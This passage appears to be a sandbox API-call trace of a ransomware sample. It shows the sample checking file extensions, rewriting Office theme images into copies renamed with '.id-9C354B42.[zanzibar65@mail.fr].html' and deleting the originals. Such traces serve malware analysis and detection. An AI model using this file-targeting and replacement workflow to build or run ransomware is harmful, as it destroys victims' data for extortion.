lstrlenW (lpString=".doc") returned 4 [0044.839] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.839] lstrlenW (lpString=".docx") returned 5 [0044.839] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.839] lstrlenW (lpString=".pdf") returned 4 [0044.839] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.839] lstrlenW (lpString=".xls") returned 4 [0044.839] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.839] lstrlenW (lpString=".xlsx") returned 5 [0044.839] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.839] lstrlenW (lpString=".ppt") returned 4 [0044.839] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0044.839] lstrlenW (lpString=".zip") returned 4 [0044.840] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.840] lstrlenW (lpString=".rar") returned 4 [0044.840] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.840] lstrlenW (lpString=".bz2") returned 4 [0044.840] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.840] lstrlenW (lpString=".7z") returned 3 [0044.840] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0044.840] lstrlenW (lpString=".dbf") returned 4 [0044.840] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0044.840] lstrlenW (lpString=".1cd") returned 4 [0044.840] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0044.840] lstrlenW (lpString=".jpg") returned 4 [0044.840] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0044.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0044.840] lstrlenW (lpString=".doc") returned 4 [0044.840] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.840] lstrlenW (lpString=".docx") returned 5 [0044.840] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.840] lstrlenW (lpString=".pdf") returned 4 [0044.840] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.840] lstrlenW (lpString=".xls") returned 4 [0044.840] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.840] lstrlenW (lpString=".xlsx") returned 5 [0044.840] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.840] lstrlenW (lpString=".ppt") returned 4 [0044.840] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0044.840] lstrlenW (lpString=".zip") returned 4 [0044.841] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.841] lstrlenW (lpString=".rar") returned 4 [0044.841] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.841] lstrlenW (lpString=".bz2") returned 4 [0044.841] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.841] lstrlenW (lpString=".7z") returned 3 [0044.841] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0044.841] lstrlenW (lpString=".dbf") returned 4 [0044.841] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0044.841] lstrlenW (lpString=".1cd") returned 4 [0044.841] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0044.841] lstrlenW (lpString=".jpg") returned 4 [0044.841] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.841] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.841] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.842] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=31975) returned 1 [0044.842] CloseHandle (hObject=0x174) returned 1 [0044.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20 [0044.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.842] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.842] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0044.843] GetLastError () returned 0x0 [0044.843] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x7ce7, lpOverlapped=0x0) returned 1 [0045.112] WriteFile (in: hFile=0x1e8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0045.114] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.114] WriteFile (in: hFile=0x1e8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.114] SetEndOfFile (hFile=0x1e8) returned 1 [0045.114] CloseHandle (hObject=0x1e8) returned 1 [0045.114] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.114] SetEndOfFile (hFile=0x174) returned 1 [0045.115] CloseHandle (hObject=0x174) returned 1 [0045.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0045.115] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 1 [0045.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0045.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0045.116] lstrlenW (lpString=".doc") returned 4 [0045.116] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.116] lstrlenW (lpString=".docx") returned 5 [0045.116] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.116] lstrlenW (lpString=".pdf") returned 4 [0045.116] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.116] lstrlenW (lpString=".xls") returned 4 [0045.116] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.116] lstrlenW (lpString=".xlsx") returned 5 [0045.116] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.116] lstrlenW (lpString=".ppt") returned 4 [0045.116] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0045.116] lstrlenW (lpString=".zip") returned 4 [0045.116] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.116] lstrlenW (lpString=".rar") returned 4 [0045.116] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.116] lstrlenW (lpString=".bz2") returned 4 [0045.116] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.116] lstrlenW (lpString=".7z") returned 3 [0045.116] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0045.117] lstrlenW (lpString=".dbf") returned 4 [0045.117] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0045.117] lstrlenW (lpString=".1cd") returned 4 [0045.117] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0045.117] lstrlenW (lpString=".jpg") returned 4 [0045.117] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0045.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0045.117] lstrlenW (lpString=".doc") returned 4 [0045.117] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.117] lstrlenW (lpString=".docx") returned 5 [0045.117] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.117] lstrlenW (lpString=".pdf") returned 4 [0045.117] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.117] lstrlenW (lpString=".xls") returned 4 [0045.117] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.117] lstrlenW (lpString=".xlsx") returned 5 [0045.117] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.117] lstrlenW (lpString=".ppt") returned 4 [0045.117] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0045.117] lstrlenW (lpString=".zip") returned 4 [0045.117] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.117] lstrlenW (lpString=".rar") returned 4 [0045.117] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.117] lstrlenW (lpString=".bz2") returned 4 [0045.117] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.117] lstrlenW (lpString=".7z") returned 3 [0045.117] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0045.117] lstrlenW (lpString=".dbf") returned 4 [0045.118] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0045.118] lstrlenW (lpString=".1cd") returned 4 [0045.118] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0045.118] lstrlenW (lpString=".jpg") returned 4 [0045.118] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.118] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0045.118] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0045.118] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0045.118] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2527) returned 1 [0045.118] CloseHandle (hObject=0x174) returned 1 [0045.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 0x20 [0045.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0045.118] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0045.119] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.119] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.119] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0046.502] GetLastError () returned 0x0 [0046.502] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x9df, lpOverlapped=0x0) returned 1 [0046.506] WriteFile (in: hFile=0x208, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x9e0, lpOverlapped=0x0) returned 1 [0046.507] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.507] WriteFile (in: hFile=0x208, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.507] SetEndOfFile (hFile=0x208) returned 1 [0046.507] CloseHandle (hObject=0x208) returned 1 [0046.507] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.507] SetEndOfFile (hFile=0x174) returned 1 [0046.508] CloseHandle (hObject=0x174) returned 1 [0046.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.508] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 1 [0046.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0046.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0046.508] lstrlenW (lpString=".doc") returned 4 [0046.508] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.508] lstrlenW (lpString=".docx") returned 5 [0046.509] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.509] lstrlenW (lpString=".pdf") returned 4 [0046.509] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.509] lstrlenW (lpString=".xls") returned 4 [0046.509] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.509] lstrlenW (lpString=".xlsx") returned 5 [0046.509] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.509] lstrlenW (lpString=".ppt") returned 4 [0046.509] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0046.509] lstrlenW (lpString=".zip") returned 4 [0046.509] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.509] lstrlenW (lpString=".rar") returned 4 [0046.509] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.509] lstrlenW (lpString=".bz2") returned 4 [0046.509] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.509] lstrlenW (lpString=".7z") returned 3 [0046.509] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0046.509] lstrlenW (lpString=".dbf") returned 4 [0046.509] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0046.509] lstrlenW (lpString=".1cd") returned 4 [0046.509] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0046.509] lstrlenW (lpString=".jpg") returned 4 [0046.509] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0046.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0046.509] lstrlenW (lpString=".doc") returned 4 [0046.509] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.509] lstrlenW (lpString=".docx") returned 5 [0046.509] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.510] lstrlenW (lpString=".pdf") returned 4 [0046.510] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.510] lstrlenW (lpString=".xls") returned 4 [0046.510] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.510] lstrlenW (lpString=".xlsx") returned 5 [0046.510] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.510] lstrlenW (lpString=".ppt") returned 4 [0046.510] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0046.510] lstrlenW (lpString=".zip") returned 4 [0046.510] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.510] lstrlenW (lpString=".rar") returned 4 [0046.510] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.510] lstrlenW (lpString=".bz2") returned 4 [0046.510] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.510] lstrlenW (lpString=".7z") returned 3 [0046.510] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0046.510] lstrlenW (lpString=".dbf") returned 4 [0046.510] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0046.510] lstrlenW (lpString=".1cd") returned 4 [0046.510] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0046.510] lstrlenW (lpString=".jpg") returned 4 [0046.510] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.510] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0046.510] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0046.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0046.703] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=42453) returned 1 [0046.703] CloseHandle (hObject=0x20c) returned 1 [0046.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 0x20 [0046.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0046.704] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.704] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0046.704] GetLastError () returned 0x0 [0046.704] ReadFile (in: hFile=0x20c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0xa5d5, lpOverlapped=0x0) returned 1 [0046.706] WriteFile (in: hFile=0x1f4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xa5e0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xa5e0, lpOverlapped=0x0) returned 1 [0046.710] ReadFile (in: hFile=0x20c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.710] WriteFile (in: hFile=0x1f4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.710] SetEndOfFile (hFile=0x1f4) returned 1 [0046.710] CloseHandle (hObject=0x1f4) returned 1 [0046.710] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.710] SetEndOfFile (hFile=0x20c) returned 1 [0046.711] CloseHandle (hObject=0x20c) returned 1 [0046.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.712] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 1 [0046.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0046.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0046.712] 